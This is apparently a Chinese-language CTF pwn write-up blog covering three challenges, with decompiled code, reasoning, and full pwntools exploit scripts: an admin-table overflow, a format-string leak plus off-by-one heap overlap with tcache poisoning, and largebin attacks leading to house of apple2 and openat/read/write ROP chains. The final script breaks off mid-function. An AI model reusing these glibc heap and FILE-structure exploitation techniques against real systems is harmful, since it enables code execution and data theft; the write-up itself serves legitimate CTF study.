0x32: 名称
0x68: 密码

用户内存结构

用户内存大小为 0x410

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


0x0-0x100: 0x100 收件
0x100-0x108: 0x8 草稿大小
0x110-0x210: 0x100 草稿
0x210-0x218: 0x8 收件大小
0x278-0x280: 0x8 编号，被 ban 清零
0x298-0x2B8: 0x20 用户名
0x2C0-0x2E8: 0x28 密码
0x308-0x310: 0x8 收件标记
0x310-0x318: 0x8 草稿标记
0x388-0x390: 0x8 存在标记

漏洞点利用

在注册时有这样的逻辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


 v2 = 0;
 for ( i = 0; i <= 11; ++i )
 {
 if ( *(_QWORD *)(8LL * i + a1) && *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) )
 ++v2;
 }
 if ( v2 <= 7 )
 {
 for ( j = 0; ; ++j )
 {
 if ( j > 12 )
 return 0xFFFFFFFFLL;
 if ( !*(_QWORD *)(8LL * j + a1) || *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL) != 1 )
 break;
 }

这里 j 在出 for 循环时可以为 12 ，这样的话可以从用户表越界到管理员表，把管理员的名称和密码都清空，这样就可以直接登录管理员账号了

但是要使 j 为 12 ，就要绕过上面对 v2 的大小检验，这要求 *(_QWORD *)(*(_QWORD *)(8LL * i + a1) + 0x278LL) 为 0 而 *(_QWORD *)(*(_QWORD *)(8LL * j + a1) + 0x388LL 不为零，该情况发生的条件是用户被 ban

而要想用户被 ban ，根据 secure_check 的逻辑只要在 10 秒内发送超过四次邮件即可

于是我们每注册一个用户就 ban 一个，直到填满用户表使溢出发生后即可成为管理员

成为管理员后的 mail_user_to_user 中有反向越界读写，可以通过标准流指针泄露 libc 基址，然后通过往 stderr 里面发送 fake_io 信件打 house_of_apple2 ，走 setcontext 去跑 read 再写入 orw_chain

比赛时最后十分钟过了本地但是远程炸了，淦，好像是交互时间过长的问题。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('192.0.100.2', 9999)

libc = ELF('./libc.so.6')

### login

def login(name, pwd):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def register(name, pwd):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'name: ', name)
	io.sendlineafter(b'password: ', pwd)

def myexit():
	io.sendlineafter(b'choice: ', b'3')

### user

def writemail(bt, content):
	io.sendlineafter(b'choice: ', b'1')
	io.sendlineafter(b'(1-256): ', str(bt).encode())
	io.sendlineafter(b'bytes):\n', content)

def readmail(choice):
	io.sendlineafter(b'choice: ', b'2')
	io.sendlineafter(b'choice: ', str(choice).encode())

def back2menu():
	io.sendlineafter(b'choice: ', b'3')

def sendmail(id, rep = False):
	io.sendlineafter(b'choice: ', b'3')
	io.sendlineafter(b'(input user ID 1-12)', str(id).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')

def logout():
	io.sendlineafter(b'choice: ', b'4')

### admin

def user2user(src, dst, choice, rep = False):
	io.sendlineafter(b'choice: ', b'4')
	io.sendlineafter(b': (1-12) ', str(src).encode())
	io.sendlineafter(b'(1-12): ', str(dst).encode())
	if rep:
		io.sendlineafter(b'(y/n): ', b'y')
	io.sendlineafter(b'choice: ', str(choice).encode())

def admin_logout():
	io.sendlineafter(b'choice: ', b'5')

def attack():
	for i in range(12):		# admin
		register(b'AAA' + str(i).encode(), b'BBB')
		login(b'AAA' + str(i).encode(), b'BBB')
		if i >= 7:
			writemail(1, b'C')
			sendmail(i + 1)
			for _ in range(3):
				writemail(1, b'C')
				sendmail(i + 1, True)
			writemail(1, b'C')
			sendmail(i + 1)
		logout()
	register(b'AAA' + str(13).encode(), b'BBB')

	login(b'\x00', b'\x00')
	user2user(-3, 1, 1)
	admin_logout()

	login(b'AAA0', b'BBB')
	readmail(2)
	io.recvuntil(b'(new mail):\n')
	libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b803
	log.info(f'libc = {hex(libc.address)}')
	back2menu()
	logout()

	stderr = libc.sym['_IO_2_1_stderr_']

	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f357
	syscall_ret = libc.address + 0x91316

	read_rop_chain = flat([
		0,
		pop_rsi_ret,
		stderr + 0x68,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret
	])

	fake_io = flat({
			0x0: 0,
			0x10: '/flag\x00',
			0x28: libc.sym['setcontext'] + 0x3d,
			0x30: read_rop_chain,
			0x70: stderr + 0x30, # RSP
			0X78: pop_rdi_ret, # RIP
			0x88: stderr,
			0xA0: stderr - 0x30,
			0xB0: stderr - 0x40,
			0xD8: libc.sym['_IO_wfile_jumps']
		},
		filler=b"\x00"
	)

	login(b'AAA0', b'BBB')
	writemail(len(fake_io), fake_io)
	logout()

	login(b'\x00', b'\x00')
	user2user(1, -3, 1)
	admin_logout()

	myexit()

	orw_rop_chain = flat([
		pop_rax_ret,
		2,
		pop_rdi_ret,
		stderr + 0x10,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		3,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(3, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])

	#gdb.attach(io)
	io.sendlineafter(b'Goodbye!\n', orw_rop_chain)

	io.interactive()

attack()

区域决赛

robo_admin

呜呜呜我好菜啊比赛时怎么做不出来呜呜呜

checksec

1
2
3
4
5
6
7
8


[*] '/home/RatherHard/CTF-pwn/ccsssc/robo_admin/题目附件/robo_admin'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

mystart

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


__int64 mystart()
{
 int v0; // eax
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v3; // [rsp+8h] [rbp-18h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 clear();
 pwdgen();
 puts("Robo Admin Service");
 while ( 1 )
 {
 puts("\n=== Main Menu ===");
 puts("1. set notice");
 puts("2. show status");
 puts("3. admin login");
 puts("4. exit");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v3 = 0;
 myread(nptr, 16);
 v0 = atoi(nptr);
 if ( v0 == 4 )
 break;
 if ( v0 > 4 )
 goto LABEL_13;
 switch ( v0 )
 {
 case 3:
 judger = admin_judge();
 if ( judger )
 admin_panel();
 break;
 case 1:
 setnotice();
 break;
 case 2:
 showstatus();
 break;
 default:
LABEL_13:
 puts("[X] invalid");
 break;
 }
 }
 puts("bye");
 return 0;
}

菜单题

seccomp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


__int64 seccomp()
{
 __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = seccomp_init(2147418112);
 if ( !v1 )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 2, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 59, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 322, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_load(v1) )
 _exit(1);
 return seccomp_release(v1);
}

禁用了 open 和 execve ，可以用 openat

setnotice

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 setnotice()
{
 _QWORD src[32]; // [rsp+0h] [rbp-310h] BYREF
 char s[8]; // [rsp+100h] [rbp-210h] BYREF
 __int64 v3; // [rsp+108h] [rbp-208h]
 _BYTE v4[496]; // [rsp+110h] [rbp-200h] BYREF
 unsigned __int64 v5; // [rsp+308h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 *(_QWORD *)s = 0;
 v3 = 0;
 memset(v4, 0, sizeof(v4));
 memset(src, 0, sizeof(src));
 myread(s, 512);
 if ( strchr(s, 37) || strchr(s, 36) )
 {
 puts("[X] raw input contains illegal chars");
 }
 else if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD *, __int64))decode)(s, src, 256) )
 {
 puts("[X] decode failed");
 }
 else
 {
 memcpy(notice, src, sizeof(notice));
 byte_52BF = 0;
 ntc_tag = 1;
 puts("[+] notice updated");
 }
 return v5 - __readfsqword(0x28u);
}

禁止明文出现 ‘%’ 和 ‘$’ ，防止直接的格式化字符串攻击

decode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall decode(__int64 a1, __int64 a2, unsigned __int64 a3)
{
 __int64 v4; // rax
 __int64 v5; // rax
 int v7; // [rsp+20h] [rbp-18h]
 int v8; // [rsp+24h] [rbp-14h]
 __int64 v9; // [rsp+28h] [rbp-10h]
 __int64 i; // [rsp+30h] [rbp-8h]

 v9 = 0;
 for ( i = 0; *(_BYTE *)(a1 + i); ++i )
 {
 if ( a3 <= v9 + 1 )
 return 0xFFFFFFFFLL;
 if ( *(_BYTE *)(a1 + i) == 92 && *(_BYTE *)(i + 1 + a1) == 120 )
 {
 v7 = decodechr((unsigned int)*(char *)(i + 2 + a1));
 v8 = decodechr((unsigned int)*(char *)(i + 3 + a1));
 if ( v7 < 0 || v8 < 0 )
 return 0xFFFFFFFFLL;
 v4 = v9++;
 *(_BYTE *)(a2 + v4) = v8 | (16 * v7);
 i += 3;
 }
 else
 {
 v5 = v9++;
 *(_BYTE *)(v5 + a2) = *(_BYTE *)(a1 + i);
 }
 }
 *(_BYTE *)(a2 + v9) = 0;
 return 0;
}

解码器没有对格式化字符串的校验，可以利用这一点绕过前面的明文校验

showstatus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


unsigned __int64 __fastcall showstatus(__int64 a1, __int64 a2)
{
 __int64 v2; // rdx
 __int64 v3; // rcx
 __int64 v4; // r8
 __int64 v5; // r9
 __int64 v7; // [rsp+0h] [rbp-40h]
 __int64 v8; // [rsp+8h] [rbp-38h]
 _QWORD v9[2]; // [rsp+10h] [rbp-30h] BYREF
 __int64 v10; // [rsp+20h] [rbp-20h]
 __int64 v11; // [rsp+28h] [rbp-18h]
 unsigned __int64 v12; // [rsp+38h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 v7 = pwd1;
 v8 = pwd2;
 strcpy((char *)v9, "STACK_ANCHOR");
 BYTE5(v9[1]) = 0;
 HIWORD(v9[1]) = 0;
 v10 = 0;
 v11 = 0;
 puts("=== Robo Admin Status ===");
 puts("Robot core: online");
 puts("Task queue: healthy");
 printf("Notice: ");
 if ( ntc_tag )
 {
 if ( once )
 {
 printf("%s", notice);
 }
 else
 {
 once = 1;
 printf(notice, a2, v2, v3, v4, v5, v7, v8, v9[0], v9[1], v10, v11);
 }
 puts(&whatelf);
 }
 else
 {
 puts("(empty)");
 }
 return v12 - __readfsqword(0x28u);
}

有一次格式化字符串利用机会，可以泄露管理员密码和 libc 地址，然后获得进入管理员面板的权限

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 admin_panel()
{
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v2; // [rsp+8h] [rbp-18h]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 puts("\n=== Task Menu ===");
 puts("1. create");
 puts("2. edit");
 puts("3. query");
 puts("4. list");
 puts("5. delete");
 puts("6. logout");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v2 = 0;
 myread(nptr, 16);
 switch ( atoi(nptr) )
 {
 case 1:
 create();
 break;
 case 2:
 edit();
 break;
 case 3:
 query();
 break;
 case 4:
 list();
 break;
 case 5:
 delete();
 break;
 case 6:
 return v3 - __readfsqword(0x28u);
 default:
 puts("[X] invalid");
 break;
 }
 }
}

经典菜单堆题

create

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


int create()
{
 size_t v0; // rax
 __int64 v1; // rax
 unsigned int v3; // [rsp+4h] [rbp-Ch]
 size_t size; // [rsp+8h] [rbp-8h]

 LODWORD(v0) = readidx();
 v3 = v0;
 if ( (v0 & 0x80000000) == 0LL )
 {
 if ( taskalive[(int)v0] )
 {
 LODWORD(v0) = puts("[X] slot used");
 }
 else
 {
 memset((char *)&task_name + 24 * (int)v0, 0, 0x18u);
 puts("Task name:");
 v1 = (__int64)taskname_getptr(v3);
 myread((void *)v1, 16);
 v0 = readnum("Desc size:", 24, 0x200);
 size = v0;
 if ( v0 )
 {
 task_desc[v3] = malloc(v0);
 if ( task_desc[v3] )
 {
 memset((void *)task_desc[v3], 0, size);
 task_size[v3] = size;
 *(_QWORD *)taskname_getptr_0x10(v3) = 0;
 taskalive[v3] = 1;
 LODWORD(v0) = puts("[+] task created");
 }
 else
 {
 LODWORD(v0) = puts("[X] malloc failed");
 }
 }
 }
 }
 return v0;
}

可申请大小 200 以内任意 chunk ，同时可控 7 个 chunk

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


int edit()
{
 __int64 v0; // rax
 unsigned __int64 v1; // r12
 ssize_t v2; // rbx
 ssize_t *v3; // rax
 unsigned int v5; // [rsp+Ch] [rbp-24h]
 size_t nbytes; // [rsp+10h] [rbp-20h]
 ssize_t v7; // [rsp+18h] [rbp-18h]

 LODWORD(v0) = readidx();
 v5 = v0;
 if ( (int)v0 >= 0 )
 {
 if ( taskalive[(int)v0] )
 {
 v0 = readnum("Write length :", 1, task_size[(int)v0] + 1LL);
 nbytes = v0;
 if ( v0 )
 {
 puts("New desc bytes:");
 v7 = read(0, *((void **)&task_desc + (int)v5), nbytes);
 if ( v7 > 0 )
 {
 if ( task_size[v5] <= (unsigned __int64)v7 )
 {
 if ( task_size[v5] )
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + task_size[v5] - 1LL) = 0;
 }
 else
 {
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + v7) = 0;
 }
 v1 = task_size[v5];
 v2 = v7;
 v3 = (ssize_t *)taskname_getptr_0x10(v5);
 if ( v1 <= v7 )
 v2 = v1;
 *v3 = v2;
 LODWORD(v0) = puts("[+] task updated");
 }
 else
 {
 LODWORD(v0) = puts("[X] read failed");
 }
 }
 }
 else
 {
 LODWORD(v0) = puts("[X] empty");
 }
 }
 return v0;
}

发现 off-by-one 漏洞，然后写入的内容末尾会补一个 ‘\x00’ ，阻挠进一步的泄露

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


int delete()
{
 int result; // eax
 int v1; // [rsp+Ch] [rbp-4h]

 result = readidx();
 v1 = result;
 if ( result >= 0 )
 {
 if ( taskalive[result] )
 {
 free((void *)task_desc[result]);
 task_desc[v1] = 0;
 task_size[v1] = 0;
 memset((char *)&task_name + 24 * v1, 0, 0x18u);
 taskalive[v1] = 0;
 return puts("[+] deleted");
 }
 else
 {
 return puts("[X] empty");
 }
 }
 return result;
}

没有 UAF

攻击思路

利用格式化字符串获取管理员权限后，就是 off-by-one 的利用了

准备三个相邻 chunk A, B, C ，从低地址到高地址排列

利用 A 的 off-by-one 漏洞使 B 恰好包括住 C ，然后 free 掉 B 使之进入 unsortedbin

申请原来的 B 的大小的 chunk ，使 unsortedbin 剩下 lastremainder C ，然后再申请 C 的大小，这样就获得了两个指向同一个 chunk 的堆指针

最后 free 掉其中一个指针，就可以达成 UAF 的效果，leak heap 后用 tcache poisoning 打 house of apple2 写 orw 链即可

不过 chunk 的大小还要精心选择一波，在开始利用之前需要做一下堆风水使 B 能进入 unsortedbin

吐槽一下这初始的堆环境是有够恶劣的。。。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './robo_admin_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def encoder(text):
 result = str()
 for i in text:
 if i == '%' or i == '$':
 result += '\\' + hex(ord(i))[1:]
 else:
 result += i
 return result.encode()

def safelinking(pos, ptr):
 return (pos >> 12) ^ ptr

def decodenext(x):
 a = x
 for _ in range(12):
 x = a ^ (x >> 12)
 return x

def setnotice(notice):
 sla(b'> \n', b'1')
 s(notice)

def showstatus():
 sla(b'> \n', b'2')

def admin_login(pwd):
 sla(b'> \n', b'3')
 sa(b'Token:\n', b'ROBOADMIN')
 sa(b'Password (32 hex):\n', pwd)

def exit():
 sla(b'> \n', b'4')

def createtask(idx, name, size):
 sla(b'> \n', b'1')
 sla(b'Index:\n', str(idx).encode())
 sa(b'name:\n', name)
 sla(b'size:\n', str(size).encode())

def edittask(idx, length, content):
 sla(b'> \n', b'2')
 sla(b'Index:\n', str(idx).encode())
 sa(b'length :\n', str(length).encode())
 sla(b'bytes:\n', content)

def querytask(idx):
 sla(b'> \n', b'3')
 sla(b'Index:\n', str(idx).encode())

def deletetask(idx):
 sla(b'> \n', b'5')
 sla(b'Index:\n', str(idx).encode())

def logout():
 sla(b'> \n', b'6')

setnotice(encoder('%6$016p%7$016p%23$p')) # leak pwd, libc
showstatus()
ru(b'Notice: ')
r(2)
pwd = r(16)
r(2)
pwd += r(16)
r(2)
libc.address = int(r(12).decode('utf-8'), 16) - 0x29d90
leak('libc.address')
admin_login(pwd)

createtask(0, b'WWW', 0x48) # init_chunk
createtask(1, b'WWW', 0x48)
createtask(2, b'WWW', 0x48)
deletetask(0)
deletetask(1)
deletetask(2)

for i in range(7): # fill tcache
 createtask(i, str(i).encode(), 0x1d8)
for i in range(7):
 deletetask(i)

createtask(0, b'AAA', 0xd8) # build overlap
createtask(1, b'AAA', 0xf8)
createtask(2, b'AAA', 0xd8)
createtask(3, b'AAA', 0xd8)
payload = b'A' * 0xd8 + b'\xe1'
edittask(0, 0xd9, payload)
deletetask(1)
createtask(1, b'AAA', 0xf8)
deletetask(1)
createtask(1, b'AAA', 0xd8)
deletetask(3)
deletetask(1)

querytask(2) # leak heap
ru(b' => ')
heap = decodenext(uu64(r(6))) - 0x2940
leak('heap')

payload = p64(safelinking(heap + 0x2000, heap + 0xf0)) # tcache poisoning
edittask(2, 0x8, payload)
createtask(3, b'AAA', 0xd8)
createtask(4, b'AAA', 0xd8)
stderr = libc.symbols['_IO_2_1_stderr_']
payload = p64(stderr) + p64(stderr)
edittask(4, 0x16, payload)

createtask(6, b'BBB', 0xe0) # house of apple2
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edittask(6, 0xe0, fake_io)
logout()
exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f367
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 257,
 pop_rdi_ret,
 -100,
 pop_rsi_ret,
 stderr + 0x10,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# openat(-100, "flag", 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

sla(b'bye', rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret;
# 0x000000000002a3e5: pop rdi; ret;
# 0x000000000002be51: pop rsi; ret;
# 0x000000000011f367: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret;

NSSCTF-CISCN-2022-house_of_cat 题解

Sat, 07 Mar 2026 00:58:00 +0000

题目

题目链接

checksec

seccomp

只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw

IDA

main

handle_command

parse_command

需要逆向解析出指令格式

execute_command

套一层指令解析的菜单题

add

只能申请 largerequest 0x420~~0x470 ，放入 largebin 的话， 0x420~~0x430 一个 bin ， 0x440~0x470 一个 bin

edit

edit 限制为两次，只能写 0x30

show

用于 leak

delete

有 UAF

攻击思路

先分析出命令格式： COMMAND | r00tQWB QWXFarg

然后发现要 login 成为管理员，再 cat 拿菜单

1
2


LOGIN | r00tQWB QWXFadmin
CAT | r00tQWB QWXF\xff

之后就是堆题

只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手

largebin attack 令 largebin1->bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2

由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count

在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意到这里的 fwd->fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize

顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响

完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：

1
2
3


__malloc_assert ---> _fxprintf ---> locked_vfxprintf ---> __vfprintf_internal ---> 
_IO_wfile_overflow ---> _IO_wdoallocbuf ---> _IO_WDOALLOCATE ---> 
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里我根据自己的理解，把调用链分成了三层：

第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链

第二层属于 house of apple2 调用链，在跳转的 target rip 之前

第三层即跳转至 target rip

这里给出 roderick 大佬的 house of apple2 的构造方式：

_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；

vtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；

_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A

_wide_data->_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0

_wide_data->_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0

_wide_data->_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C

对于本题，还应：

_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr

此外，还要注意一个细节：堆地址比写入地址低 0x10

到这里，伪造结构基本布置完毕，然后是 setcontext 环节

这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ，即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的

这一步做完后，愉快地打 rop 就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./house_of_cat_patched')
else:
	io = remote('node4.anna.nssctf.cn', 25341)

libc = ELF('./libc.so.6')

def login():
	io.sendlineafter(b'mew~~~~~~\n', b'LOGIN | r00tQWB QWXFadmin\x00')

def cat():
	io.sendlineafter(b'mew~~~~~~\n', b'CAT | r00tQWB QWXF\xff\x00')

def add(idx, size, content):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	io.sendafter(b'content:\n', content)

def delete(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'2')
